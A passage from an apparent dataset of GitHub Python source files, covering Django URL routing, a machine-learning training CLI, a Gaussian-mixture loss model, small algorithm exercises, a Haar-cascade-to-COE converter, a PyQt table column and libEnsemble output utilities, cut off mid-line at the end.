list(settings.SWAGGER_UTILS['APPS'].keys())\napps += getattr(settings, 'THIRD_PARTY_SWAGGER_APPS', [])\n\nfor app_name in apps:\n try:\n api.append(url(r'^' + app_name + '/', include(app_name + '.build.urls')))\n except ImportError:\n pass\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^api/', include(api)),\n]\n\nurlpatterns += [\n url(r'^swagger/', include('django_swagger_utils.urls', namespace='swagger_ui')),\n url(r'^accounts/', include('django_swagger_utils.auth_urls')),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url(r'^fine-uploader/', include('django_fine_uploader_s3.urls')),\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nfrom django.conf import settings\n\nif settings.DEBUG:\n urlpatterns += [\n url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')),\n ]\n","repo_name":"raviteja1766/ib_mini_projects","sub_path":"ib_miniprojects_backend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25848175760","text":"def checkIfExist(arr):\n s = set()\n for el in arr:\n if el * 2 in s or el / 2 in s:\n return True\n s.add(el)\n return False\n\n # for i in range(len(arr)):\n # for j in range(len(arr)):\n # if i != j and (0 <= i and j < len(arr)) and arr[i] == 2 * arr[j]:\n # return True\n # return False\n\nprint(checkIfExist([10,2,5,3]))\nprint(checkIfExist([3,1,7,11]))","repo_name":"lilitstepanyan19/leetcode_git","sub_path":"check_if_N_and_its_double_exist_1346.py","file_name":"check_if_N_and_its_double_exist_1346.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3252867008","text":"from typing import Literal, Optional\n\nimport click\nfrom omegaconf import DictConfig, OmegaConf\n\nfrom pipelines.configs.churn_prediction import utils\nfrom src.training.models_training import ModelTrainer\nfrom src.training.utils import load_datasets, save_datasets\nfrom src.utils import save_model_to_pickle\nfrom utils.ml_logging import get_logger\n\n# Set up logging\nlogger = get_logger()\n\n\nclass Context:\n def __init__(self, cfg: DictConfig):\n self.cfg = cfg\n\n\n@click.group()\n@click.pass_context\ndef cli(ctx) -> None:\n \"\"\"Execute before every command.\"\"\"\n logger.info(\"Executing the pipeline component...\")\n\n\n@cli.command()\n@click.pass_context\n@click.option(\n \"--features-path\", type=str, help=\"Path to the features dataset.\", default=None\n)\n@click.option(\n \"--target-column\", type=str, help=\"Name of the target column.\", default=None\n)\n@click.option(\n \"--estimator\",\n type=str,\n required=True,\n help=\"Classifier to use.\",\n)\n@click.option(\n \"--train-scoring-split\", type=float, default=0.2, help=\"Train-test split ratio.\"\n)\n@click.option(\n \"--random-state\", type=int, default=555, help=\"Random state for reproducibility.\"\n)\n@click.option(\n \"--perform-sampling-techniques\",\n type=click.Choice([\"upsampling\", \"undersampling\"]),\n default=None,\n help=\"Sampling technique to apply.\",\n)\n@click.option(\n \"--output-directory\",\n type=str,\n default=None,\n help=\"Directory to save the resultant datasets.\",\n)\n@click.option(\n \"--date\", type=str, default=None, help=\"Date associated with the operation.\"\n)\ndef run_training_data_prep(\n ctx: click.Context,\n estimator: str,\n features_path: Optional[str],\n target_column: Optional[str],\n train_scoring_split: Optional[float] = 0.2,\n random_state: int = 555,\n perform_sampling_techniques: Optional[\n Literal[\"upsampling\", \"undersampling\"]\n ] = None,\n output_directory: Optional[str] = None,\n date: Optional[str] = None,\n) -> None:\n \"\"\"\n Prepare training data by performing feature engineering, sampling techniques if specified,\n and saving the resultant datasets to the designated output directory.\n \"\"\"\n\n cfg = ctx.obj.cfg\n\n # Validate and set defaults using configuration if arguments are not provided\n features_path = features_path or cfg.training_pipeline_settings.features_path\n if not features_path:\n print(\"features_path\")\n logger.error(\"Features path is not provided or found in the configuration.\")\n return\n\n output_directory = (\n output_directory or cfg.training_pipeline_settings.output_directory\n )\n if not output_directory:\n print(\"output_directory\")\n logger.error(\"Output directory is not provided or found in the configuration.\")\n return\n\n target_column = target_column or cfg.training_pipeline_settings.target_column\n if not target_column:\n print(\"target_column\")\n logger.error(\"Target column is not provided or found in the configuration.\")\n return\n\n train_scoring_split = (\n train_scoring_split\n or cfg.training_pipeline_settings.hyper_parameter_optimization.models.estimator.estimator_split.train_scoring_split\n )\n if train_scoring_split is None:\n print(\"train_scoring_split\")\n logger.error(\n \"Train scoring split ratio is not provided or found in the configuration.\"\n )\n return\n\n date = date or cfg.pipeline_settings.date\n if not date:\n print(\"date\")\n logger.warning(\n \"Date is not provided or found in the configuration. Defaulting to 'None'.\"\n )\n\n logger.info(f\"Running feature engineering with data from {features_path}\")\n formatted_estimator = estimator.replace(\n \" \", \"_\"\n ) # Example formatting, adjust as needed\n model_type = cfg.training_pipeline_settings.hyper_parameter_optimization.models.get(\n formatted_estimator, {}\n ).get(\"model_type\", None)\n\n modeltrainer_instance = ModelTrainer( # type: ignore\n features_path, estimator=model_type, random_state=random_state\n )\n\n if perform_sampling_techniques:\n if perform_sampling_techniques == \"upsampling\":\n strategy = (\n cfg.training_pipeline_settings.hyper_parameter_optimization.models.get(\n formatted_estimator, {}\n )\n .get(\"estimator_upsampling\", {})\n .get(\"strategy\", None)\n )\n\n k_neighbors = (\n cfg.training_pipeline_settings.hyper_parameter_optimization.models.get(\n formatted_estimator, {}\n )\n .get(\"estimator_upsampling\", {})\n .get(\"k_neighbors\", None)\n )\n\n if not strategy or not k_neighbors:\n logger.error(\n \"Required parameters for upsampling are missing from the configuration.\"\n )\n return\n\n X_train_res, y_train_res = modeltrainer_instance.perform_upsampling(\n target_column=target_column, strategy=strategy, k_neighbors=k_neighbors\n )\n X_train, X_test, y_train, y_test = modeltrainer_instance.split_data(\n X=X_train_res, y=y_train_res, test_size=train_scoring_split\n )\n\n elif perform_sampling_techniques == \"undersampling\":\n # Logic for undersampling goes here\n pass\n else:\n X_train, X_test, y_train, y_test = modeltrainer_instance.split_data(\n target_column=target_column, test_size=train_scoring_split\n )\n\n save_datasets(X_train, X_test, y_train, y_test, output_directory, date)\n\n\n@cli.command()\n@click.pass_context\n@click.option(\n \"--features_directory\", type=str, help=\"Path to the features dataset.\", default=None\n)\n@click.option(\n \"--estimator\",\n type=str,\n required=True,\n help=\"Classifier to use.\",\n)\n@click.option(\n \"--random-state\", type=int, default=555, help=\"Random state for reproducibility.\"\n)\n@click.option(\n \"--output_models_directory\",\n type=str,\n default=None,\n help=\"Directory to save the resultant datasets.\",\n)\n@click.option(\n \"--date\", type=str, default=None, help=\"Date associated with the operation.\"\n)\ndef run_hyper_parameter_opt(\n ctx: click.Context,\n estimator: Optional[str] = None,\n features_directory: Optional[str] = None,\n output_models_directory: Optional[str] = None,\n random_state: int = 555,\n date: Optional[str] = None,\n) -> None:\n \"\"\"\n Prepare training data by performing feature engineering, sampling techniques if specified,\n and saving the resultant datasets to the designated output directory.\n \"\"\"\n\n cfg = ctx.obj.cfg\n\n formatted_estimator = estimator.replace(\" \", \"_\") # type: ignore\n\n # Fetch the model type\n model_type = cfg.training_pipeline_settings.hyper_parameter_optimization.models.get(\n formatted_estimator, {}\n ).get(\"model_type\", None)\n\n # If the model_type doesn't exist, raise an error or handle accordingly\n if not model_type:\n logger.error(f\"Model type not found for estimator: {formatted_estimator}\")\n return\n\n # Fetch the hyperparameter optimization configurations\n estimator_parameters_opt = (\n cfg.training_pipeline_settings.hyper_parameter_optimization.models.get(\n formatted_estimator, {}\n ).get(\"estimator_parameters_opt\", {})\n )\n\n scorer = estimator_parameters_opt.get(\"scorer\", None)\n n_jobs = estimator_parameters_opt.get(\"n_jobs\", None)\n n_iter_search = estimator_parameters_opt.get(\"n_iter_search\", None)\n apply_pca = estimator_parameters_opt.get(\"apply_pca\", None)\n\n # Validate and set defaults using configuration if arguments are not provided\n features_directory = (\n features_directory or cfg.training_pipeline_settings.features_split_directory\n )\n if not features_directory:\n logger.error(\"Features path is not provided or found in the configuration.\")\n return\n\n output_models_directory = (\n output_models_directory\n or cfg.training_pipeline_settings.output_models_directory\n )\n if not output_models_directory:\n logger.error(\"Output directory is not provided or found in the configuration.\")\n return\n\n date = date or cfg.pipeline_settings.date\n if not date:\n logger.warning(\n \"Date is not provided or found in the configuration. Defaulting to 'None'.\"\n )\n\n logger.info(f\"Running feature engineering with data from {features_directory}\")\n\n X_train, X_test, y_train, y_test = load_datasets(\n directory=features_directory, date=date\n )\n\n modeltrainer_instance = ModelTrainer(\n X_train=X_train,\n y_train=y_train,\n X_test=X_test,\n y_test=y_test,\n estimator=model_type,\n random_state=random_state,\n )\n\n tuned_estimator = modeltrainer_instance.run_hyperparameter_opt(\n scorer=scorer,\n n_jobs=n_jobs,\n n_iter_search=n_iter_search,\n apply_pca=apply_pca,\n parameters=utils.parameters_train_ada_boost_upsampling,\n )\n\n output_models_directory = output_models_directory + f\"{estimator}\" + \".pickle\"\n\n save_model_to_pickle(tuned_estimator, output_models_directory)\n\n\n@click.option(\n \"--config_main\", type=str, default=None, help=\"Path to the configuration file\"\n)\n@click.option(\n \"--config_hyper\",\n type=str,\n default=None,\n help=\"Path to the hyper-parameter configuration file\",\n)\ndef main(config_main: Optional[str] = None, config_hyper: Optional[str] = None) -> None:\n \"\"\"Entry point of the script.\"\"\"\n if not config_main:\n config_main = \"pipelines/configs/churn_prediction/main.yaml\"\n if not config_hyper:\n config_hyper = \"pipelines/configs/churn_prediction/hyper_parameter_opt.yaml\"\n\n # Load the hyper parameter configuration\n cfg = OmegaConf.load(config_main)\n hyper_param_cfg = OmegaConf.load(config_hyper)\n\n # Set the content of the hyper parameter file in the main configuration\n cfg.training_pipeline_settings.hyper_parameter_optimization = hyper_param_cfg\n\n cli(obj=Context(cfg))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"pablosalvador10/ml-project-template","sub_path":"pipelines/training/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":10214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5585333652","text":"import torch\nimport torch.nn.functional as F\nfrom sklearn.mixture import GaussianMixture\n\nfrom RandAugment.networks import get_model, num_class\n\n\nclass GMM:\n def __init__(self, net, loader):\n self.net = net\n self.net.eval()\n\n loss_list = []\n with torch.no_grad():\n for batch_idx, batch in enumerate(loader):\n data_ori, data_aug, label = batch[0] + [batch[1], ]\n data_ori, data_aug, label = data_ori.cuda(), data_aug.cuda(), label.cuda()\n\n preds = self.net(data_ori)\n loss = F.cross_entropy(preds, label, reduction='none')\n loss_list.append(loss)\n\n preds = self.net(data_aug)\n loss = F.cross_entropy(preds, label, reduction='none')\n loss_list.append(loss)\n\n loss_list = torch.log(torch.cat(loss_list, dim=0) + 1e-10)\n\n self.gmm = GaussianMixture(n_components=2, max_iter=10, tol=1e-2, reg_covar=5e-4)\n self.gmm.fit(loss_list.view(-1, 1).cpu().numpy())\n\n def predict(self, inputs, labels):\n with torch.no_grad():\n preds = self.net(inputs)\n input_loss = F.cross_entropy(preds, labels, reduction='none')\n prob = self.gmm.predict_proba(torch.log(input_loss + 1e-10).view(-1, 1).cpu().numpy())\n prob = prob[:, self.gmm.means_.argmin()]\n return prob\n\n\ndef get_gmm(args, loader, path=''):\n if not path:\n path = args.save.split('/')\n path[-2] = 'baseline'\n path = '/'.join(path)\n\n print(\"GMM Initialization\\nLoading Model:\", path)\n net = get_model(args.model, num_class(args.dataset))\n checkpoint = torch.load(path)\n net.load_state_dict(checkpoint['model'], strict=True)\n net.cuda()\n\n gmm = GMM(net, loader)\n print('Done')\n return gmm","repo_name":"Chenyang4/ReSmooth","sub_path":"RandAugment/mixture_model.py","file_name":"mixture_model.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"18937054573","text":"def count_pairs_with_sum(arr, target_sum):\n \"\"\"\n Count the number of pairs in an array that sum up to a given target sum.\n\n Args:\n arr (list): The input array.\n target_sum (int): The target sum to be checked.\n\n Returns:\n int: The count of pairs that sum up to the target sum.\n \"\"\"\n # Create a dictionary to store the frequency of array elements\n freq_map = {}\n count = 0 # Initialize the count of pairs to 0\n\n # Iterate through the array\n for num in arr:\n # Calculate the complement of the current element with respect to the target sum\n complement = target_sum - num\n\n # If the complement is present in the dictionary, increment the count of pairs\n if complement in freq_map:\n count += freq_map[complement]\n\n # Increment the frequency of the current element in the dictionary\n if num in freq_map:\n freq_map[num] += 1\n else:\n freq_map[num] = 1\n\n return count\n\n\n# Example usage:\narr = [1, 5, 3, 7, 9, 2, 8, 4]\ntarget_sum = 10\nresult = count_pairs_with_sum(arr, target_sum)\nprint(\"Number of pairs with sum\", target_sum, \"is:\", result)","repo_name":"alinagithub/assignments_edyoda","sub_path":"DSA ADVANCED (ASSIGNMENT 1)/Q4.py","file_name":"Q4.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34259509698","text":"import numpy as np\nfrom numpy import linalg\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\n#Define data\nx = np.linspace(-2,2,401)\nNx = np.size(x)\n\namp1 = 1\nx01 = 0.5\nsigmay1 = 0.6\n\namp2 = 1.2\nx02 = -0.5\nsigmay2 = 0.3\n\ndt = 0.01\nNt = 1001\ntend = dt*(Nt-1)\nt = np.linspace(0,tend,Nt) #time\n\nomega1 = 1.3\nomega2 = 4.1\n\ny1 = amp1*np.exp(-((x-x01)**2)/((2*sigmay1**2)))\ny2 = amp2*np.exp(-((x-x02)**2)/((2*sigmay2**2)))\n\nY = np.zeros([Nx,Nt],dtype='d')\nfor tt in range(Nt):\n Y[:,tt] = y1*np.sin(2*np.pi*omega1*t[tt]) + y2*np.sin(2*np.pi*omega2*t[tt])\n\n# show y1 and y2\nplt.plot(x,y1,label='y1')\nplt.plot(x,y2,label='y2')\nplt.xlabel('x', fontsize=18)\nplt.ylabel('y', fontsize=18)\nplt.legend()\nplt.show()\n\n#plt all data\nTgrid, Ygrid = np.meshgrid(t,x)\n\n#contour\nplt.contour(Ygrid, Tgrid, np.abs(Y))\nplt.xlabel('x', fontsize=18)\nplt.ylabel('time', fontsize=18)\nplt.ylim(0,4)\nplt.show()\n\nU, S, VT = linalg.svd(Y, full_matrices= False)\n\nplt.semilogy(S,'-o')\nplt.xlim(0,10)\nplt.ylabel('Singular Value', fontsize=18)\nplt.xlabel('Index', fontsize=18)\nplt.show()\n\n# x, U\nplt.plot(x,U[:,0],label='U1')\nplt.plot(x,U[:,1],label='U2')\nplt.xlabel('x', fontsize=18)\nplt.ylabel('U', fontsize=18)\nplt.title('POD modes', fontsize=18)\nplt.legend()\nplt.show()\n\n# t,VT\nplt.plot(t,VT[0,:],label='VT1')\nplt.plot(t,VT[1,:],label='VT2')\nplt.xlim(0,4)\nplt.xlabel('time', fontsize=18)\nplt.ylabel('VT', fontsize=18)\nplt.title('mode coefficients', fontsize=18)\nplt.legend()\nplt.show()\n\n\n","repo_name":"wanaler/BD_ML_AI","sub_path":"notebook/note1.py","file_name":"note1.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42057930066","text":"import numpy as np\n\nimport yt\nfrom yt.testing import requires_file\nfrom yt.utilities.lib.bounding_volume_hierarchy import BVH, test_ray_trace\nfrom yt.visualization.volume_rendering.api import Camera, Scene\n\n\ndef get_rays(camera):\n normal_vector = camera.unit_vectors[2].d\n W = np.array([8.0, 8.0])\n N = np.array([800, 800])\n dx = W / N\n\n x_points = np.linspace((-N[0] / 2 + 0.5) * dx[0], (N[0] / 2 - 0.5) * dx[0], N[0])\n y_points = np.linspace((-N[1] / 2 + 0.5) * dx[1], (N[1] / 2 - 0.5) * dx[0], N[1])\n\n X, Y = np.meshgrid(x_points, y_points)\n result = np.dot(camera.unit_vectors[0:2].T, [X.ravel(), Y.ravel()])\n vec_origins = camera.scene.arr(result.T, \"unitary\") + camera.position\n return np.array(vec_origins), np.array(normal_vector)\n\n\nfn = \"MOOSE_sample_data/out.e-s010\"\n\n\n@requires_file(fn)\ndef test_bounding_volume_hierarchy():\n ds = yt.load(fn)\n vertices = ds.index.meshes[0].connectivity_coords\n indices = ds.index.meshes[0].connectivity_indices - 1\n\n ad = ds.all_data()\n field_data = ad[\"connect1\", \"diffused\"]\n\n bvh = BVH(vertices, indices, field_data)\n\n sc = Scene()\n cam = Camera(sc)\n cam.set_position(np.array([8.0, 8.0, 8.0]))\n cam.focus = np.array([0.0, 0.0, 0.0])\n origins, direction = get_rays(cam)\n\n image = np.empty(800 * 800, np.float64)\n test_ray_trace(image, origins, direction, bvh)\n image = image.reshape((800, 800))\n return image\n","repo_name":"yt-project/yt","sub_path":"yt/utilities/lib/tests/test_bounding_volume_hierarchy.py","file_name":"test_bounding_volume_hierarchy.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"3"} +{"seq_id":"32250873249","text":"# xml parser\r\nimport requests\r\nimport os\r\nimport xml.etree.ElementTree as ET\r\n\r\ndef get_xml():\r\n url = \"https://raw.githubusercontent.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_default.xml\"\r\n resp = requests.get(url)\r\n with open(\"vj_weights.xml\", \"wb\") as f:\r\n f.write(resp.content)\r\n\r\nif (not os.path.isfile(\"./vj_weights.xml\")):\r\n get_xml()\r\n\r\npyramid_widths = [160, 133, 111, 92, 77, 64, 53, 44, 37]\r\npyramid_heights = [120, 99, 83, 69, 57, 48, 40, 33, 27]\r\n\r\nx_mappings = [78841, 94467, 113976, 136179, 163841, 197845, 238313, 283399]\r\ny_mappings = [79438, 94751, 113976, 137971, 163841, 196609, 238313, 291272]\r\n\r\npyramid_x_mappings = []\r\npyramid_y_mappings = []\r\nfor i in range(len(x_mappings)):\r\n curr_x_mappings = []\r\n curr_y_mappings = []\r\n for j in range(pyramid_widths[0]):\r\n curr_x_mappings.append((j * x_mappings[i]) >> 16)\r\n assert(len(curr_x_mappings) == pyramid_widths[0])\r\n\r\n for j in range(pyramid_heights[0]):\r\n curr_y_mappings.append((j * y_mappings[i]) >> 16)\r\n assert(len(curr_y_mappings) == pyramid_heights[0])\r\n\r\n pyramid_x_mappings.append(curr_x_mappings)\r\n pyramid_y_mappings.append(curr_y_mappings)\r\n\r\n\r\nnum_stage = 0\r\nnum_feature = 0\r\nwindow_size = 0\r\nstage_num_feature = []\r\n\r\nrectangle1_x1 = []\r\nrectangle1_y1 = []\r\nrectangle1_x2 = []\r\nrectangle1_y2 = []\r\nrectangle1_weights = []\r\n\r\nrectangle2_x1 = []\r\nrectangle2_y1 = []\r\nrectangle2_x2 = []\r\nrectangle2_y2 = []\r\nrectangle2_weights = []\r\n\r\nrectangle3_x1 = []\r\nrectangle3_y1 = []\r\nrectangle3_x2 = []\r\nrectangle3_y2 = []\r\nrectangle3_weights = []\r\n\r\nfeature_threshold = []\r\nfeature_above = []\r\nfeature_below = []\r\n\r\nstage_threshold = []\r\n\r\nSTAGE_SCALE = 128\r\nFEATURE_SCALE = 128\r\n\r\ntree = ET.parse(\"vj_weights.xml\")\r\nroot = tree.getroot()\r\n\r\n# count the total number of stages\r\nfor item in root.findall(\"./cascade/stageNum\"):\r\n num_stage = int(item.text)\r\n\r\nprint(\"Number of stages: \" + str(num_stage))\r\n\r\n# count the total number of features\r\nstage_num_feature.append(0)\r\nfor item in root.findall(\"./cascade/stages/_/maxWeakCount\"):\r\n num_feature += int(item.text)\r\n stage_num_feature.append(num_feature)\r\n\r\nfor item in root.findall(\"./cascade/height\"):\r\n window_size = int(item.text)\r\n\r\nprint(\"Number of features: \" + str(num_feature))\r\n\r\n# get stage threshold\r\nis_stage_end = [0] * 2913\r\nstage_threshold = [0] * 2913\r\nstage_index = 1\r\nfor item in root.findall(\"./cascade/stages/_/stageThreshold\"):\r\n is_stage_end[stage_num_feature[stage_index] - 1] = 1\r\n stage_threshold[stage_num_feature[stage_index] - 1] = (int(round(STAGE_SCALE * (float(item.text)))))\r\n stage_index += 1\r\nassert(stage_index == 26)\r\n\r\n# get feature threshold\r\ncount = 0\r\nfor item in root.findall(\"./cascade/stages/_/weakClassifiers/_/internalNodes\"):\r\n texts = item.text.strip().split(\" \")\r\n assert(int(texts[0]) == 0)\r\n assert(int(texts[1]) == -1)\r\n assert(int(texts[2]) == count)\r\n count += 1\r\n feature_threshold.append(int(round(FEATURE_SCALE * float(texts[-1]))))\r\n\r\n# get values to use based on threshold\r\nfor item in root.findall(\"./cascade/stages/_/weakClassifiers/_/leafValues\"):\r\n texts = item.text.strip().split(\" \")\r\n feature_below.append(int(round(STAGE_SCALE * float(texts[0]))))\r\n feature_above.append(int(round(STAGE_SCALE * float(texts[1]))))\r\n\r\n\r\nfor item in root.iter(\"rects\"):\r\n rect_index = 0\r\n for rect in item.iter(\"_\"):\r\n texts = rect.text.strip().split(\" \")\r\n assert(len(texts) == 5)\r\n\r\n texts[0] = int(texts[0]) # x\r\n texts[1] = int(texts[1]) # y\r\n texts[2] = int(texts[2]) # width\r\n texts[3] = int(texts[3]) # height\r\n texts[4] = int(round(FEATURE_SCALE * float(texts[4])))\r\n\r\n if (rect_index == 0):\r\n rectangle1_x1.append(texts[0])\r\n rectangle1_y1.append(texts[1])\r\n rectangle1_x2.append(texts[0] + texts[2])\r\n rectangle1_y2.append(texts[1] + texts[3])\r\n rectangle1_weights.append(texts[4])\r\n elif (rect_index == 1):\r\n rectangle2_x1.append(texts[0])\r\n rectangle2_y1.append(texts[1])\r\n rectangle2_x2.append(texts[0] + texts[2])\r\n rectangle2_y2.append(texts[1] + texts[3])\r\n rectangle2_weights.append(texts[4])\r\n else:\r\n rectangle3_x1.append(texts[0])\r\n rectangle3_y1.append(texts[1])\r\n rectangle3_x2.append(texts[0] + texts[2])\r\n rectangle3_y2.append(texts[1] + texts[3])\r\n rectangle3_weights.append(texts[4])\r\n\r\n rect_index += 1\r\n\r\n assert(rect_index == 2 or rect_index == 3)\r\n if (rect_index == 2):\r\n rectangle3_x1.append(0)\r\n rectangle3_y1.append(0)\r\n rectangle3_x2.append(0)\r\n rectangle3_y2.append(0)\r\n rectangle3_weights.append(0)\r\n\r\n\r\nassert(len(stage_threshold) == num_feature)\r\nassert(len(feature_threshold) == num_feature)\r\nassert(len(feature_below) == num_feature)\r\nassert(len(feature_above) == num_feature)\r\nassert(len(rectangle1_x1) == num_feature)\r\nassert(len(rectangle1_y1) == num_feature)\r\nassert(len(rectangle1_x2) == num_feature)\r\nassert(len(rectangle1_y2) == num_feature)\r\nassert(len(rectangle1_weights) == num_feature)\r\nassert(len(rectangle2_x1) == num_feature)\r\nassert(len(rectangle2_y1) == num_feature)\r\nassert(len(rectangle2_x2) == num_feature)\r\nassert(len(rectangle2_y2) == num_feature)\r\nassert(len(rectangle2_weights) == num_feature)\r\nassert(len(rectangle3_x1) == num_feature)\r\nassert(len(rectangle3_y1) == num_feature)\r\nassert(len(rectangle3_x2) == num_feature)\r\nassert(len(rectangle3_y2) == num_feature)\r\nassert(len(rectangle3_weights) == num_feature)\r\n\r\ndef write_coe(arr, arr_name):\r\n coe_file = open(\"%s.coe\"%(arr_name), mode=\"wb\")\r\n coe_file.write(\"memory_initialization_radix=10;\\n\")\r\n coe_file.write(\"memory_initialization_vector=\\n\")\r\n for i in range(len(arr)):\r\n if (i == len(arr) - 1):\r\n coe_file.write(\"%d;\"%(arr[i]))\r\n else:\r\n coe_file.write(\"%d,\\n\"%(arr[i]))\r\n coe_file.close()\r\n\r\nwrite_coe(rectangle1_x1, \"rectangle1_x1\")\r\nwrite_coe(rectangle1_y1, \"rectangle1_y1\")\r\nwrite_coe(rectangle1_x2, \"rectangle1_x2\")\r\nwrite_coe(rectangle1_y2, \"rectangle1_y2\")\r\nwrite_coe(rectangle1_weights, \"rectangle1_weights\")\r\n\r\nwrite_coe(rectangle2_x1, \"rectangle2_x1\")\r\nwrite_coe(rectangle2_y1, \"rectangle2_y1\")\r\nwrite_coe(rectangle2_x2, \"rectangle2_x2\")\r\nwrite_coe(rectangle2_y2, \"rectangle2_y2\")\r\nwrite_coe(rectangle2_weights, \"rectangle2_weights\")\r\n\r\nwrite_coe(rectangle3_x1, \"rectangle3_x1\")\r\nwrite_coe(rectangle3_y1, \"rectangle3_y1\")\r\nwrite_coe(rectangle3_x2, \"rectangle3_x2\")\r\nwrite_coe(rectangle3_y2, \"rectangle3_y2\")\r\nwrite_coe(rectangle3_weights, \"rectangle3_weights\")\r\n\r\nwrite_coe(feature_threshold, \"feature_threshold\")\r\nwrite_coe(feature_above, \"feature_above\")\r\nwrite_coe(feature_below, \"feature_below\")\r\nwrite_coe(stage_threshold, \"stage_threshold\")\r\n\r\nwrite_coe(is_stage_end, \"is_stage_end\")\r\n","repo_name":"junyechen1996/18500-Facial-Recognition","sub_path":"fpga/coe_generator.py","file_name":"coe_generator.py","file_ext":"py","file_size_in_byte":6972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9637111251","text":"# -*- coding: utf-8 -*-\nimport datetime\n\nfrom PyQt4.QtCore import Qt, QVariant\n\nfrom TableModel.Col import CCol\nfrom TableModel.DateCol import CDateCol\nfrom Utils.Forcing import pyDate, pyDateTime\n\n\nclass CDateTimeCol(CDateCol):\n u\"\"\"\n Date and time column\n \"\"\"\n\n def format(self, values):\n val = values[0]\n if val is not None:\n if val.type() == QVariant.Date:\n val = val.toDate()\n return QVariant(val.toString(Qt.LocaleDate))\n elif val.type() == QVariant.DateTime:\n val = val.toDateTime()\n return QVariant(val.toString(Qt.LocaleDate))\n return CCol.invalid\n\n def formatNative(self, values):\n val = values[0]\n if val.type() == QVariant.Date:\n return pyDate(val.toDate())\n elif val.type() == QVariant.DateTime:\n return pyDateTime(val.toDateTime())\n return datetime.datetime(datetime.MINYEAR, 1, 1)\n","repo_name":"soltanoff/pyqt_libs","sub_path":"DisplayTable/TableModel/DateTimeCol.py","file_name":"DateTimeCol.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21182763501","text":"\"\"\"\nThe libEnsemble utilities module assists in writing consistent calling scripts\nand user functions.\n\"\"\"\n\nimport logging\nimport os\nimport pickle\nimport sys\n\nimport numpy as np\n\n# Create logger\nlogger = logging.getLogger(__name__)\nlogger.propagate = False\nlogger.setLevel(logging.INFO)\n\n# Set up format (Alt. Import LogConfig and base on that)\nutils_logformat = \"%(message)s\"\nformatter = logging.Formatter(utils_logformat)\n\n# Log to file\n# util_filename = 'util.log'\n# fh = logging.FileHandler(util_filename, mode='w')\n# fh.setFormatter(formatter)\n# logger.addHandler(fh)\n\n# Log to standard error\nsth = logging.StreamHandler(stream=sys.stderr)\nsth.setFormatter(formatter)\nlogger.addHandler(sth)\n\n# ==================== User Sim-ID Warning =====================================\n\n_USER_SIM_ID_WARNING = (\n \"\\n\"\n + 79 * \"*\"\n + \"\\n\"\n + \"User generator script will be creating sim_id.\\n\"\n + \"Take care to do this sequentially.\\n\"\n + \"Information given back to the gen_f for existing sim_id values may be overwritten!\\n\"\n + \"\\n\"\n + 79 * \"*\"\n + \"\\n\\n\"\n)\n\n# ==================== Ensemble directory re-use error =========================\n\n_USER_CALC_DIR_WARNING = (\n \"\\n\"\n + 79 * \"*\"\n + \"\\n\"\n + \"libEnsemble attempted to reuse {} as a parent directory for calc dirs.\\n\"\n + \"If allowed to continue, previous results may have been overwritten!\\n\"\n + \"Resolve this either by ensuring libE_specs['ensemble_dir_path'] is unique for each run\\n\"\n + \"or by setting libE_specs['reuse_output_dir'] = True.\\n\"\n + \"\\n\"\n + 79 * \"*\"\n + \"\\n\\n\"\n)\n\n# ==================== Warning that persistent return data is not used ==========\n\n_PERSIS_RETURN_WARNING = (\n \"\\n\"\n + 79 * \"*\"\n + \"\\n\"\n + \"A persistent worker has returned history data on shutdown. This data is\\n\"\n + \"not currently added to the manager's history to avoid possibly overwriting, but\\n\"\n + \"will be added to the manager's history in a future release. If you want to\\n\"\n + \"overwrite/append, you can set the libE_specs option ``use_persis_return_gen``\\n\"\n + \"or ``use_persis_return_sim``\"\n \"\\n\" + 79 * \"*\" + \"\\n\\n\"\n)\n\n# =================== save libE output to pickle and np ========================\n\n\ndef save_libE_output(H, persis_info, calling_file, nworkers, dest_path=os.getcwd(), mess=\"Run completed\"):\n \"\"\"\n Writes out history array and persis_info to files.\n\n Format: _results_History_length=_evals=_ranks=\n\n .. code-block:: python\n\n save_libE_output(H, persis_info, __file__, nworkers)\n\n Parameters\n ----------\n\n H: `NumPy structured array `_\n\n History array storing rows for each point.\n :ref:`(example)`\n\n persis_info: :obj:`dict`\n\n Persistent information dictionary.\n :doc:`(example)`\n\n calling_file : :obj:`str`\n\n Name of user-calling script (or user chosen name) to prefix output files.\n The convention is to send __file__ from user calling script.\n\n nworkers: :obj:`int`\n\n The number of workers in this ensemble. Added to output file names.\n\n mess: :obj:`str`\n\n A message to print/log when saving the file.\n\n \"\"\"\n script_name = os.path.splitext(os.path.basename(calling_file))[0]\n short_name = script_name.split(\"test_\", 1).pop()\n prob_str = \"length=\" + str(len(H)) + \"_evals=\" + str(sum(H[\"sim_ended\"])) + \"_workers=\" + str(nworkers)\n\n h_filename = os.path.join(dest_path, short_name + \"_history_\" + prob_str)\n p_filename = os.path.join(dest_path, short_name + \"_persis_info_\" + prob_str)\n\n status_mess = \" \".join([\"------------------\", mess, 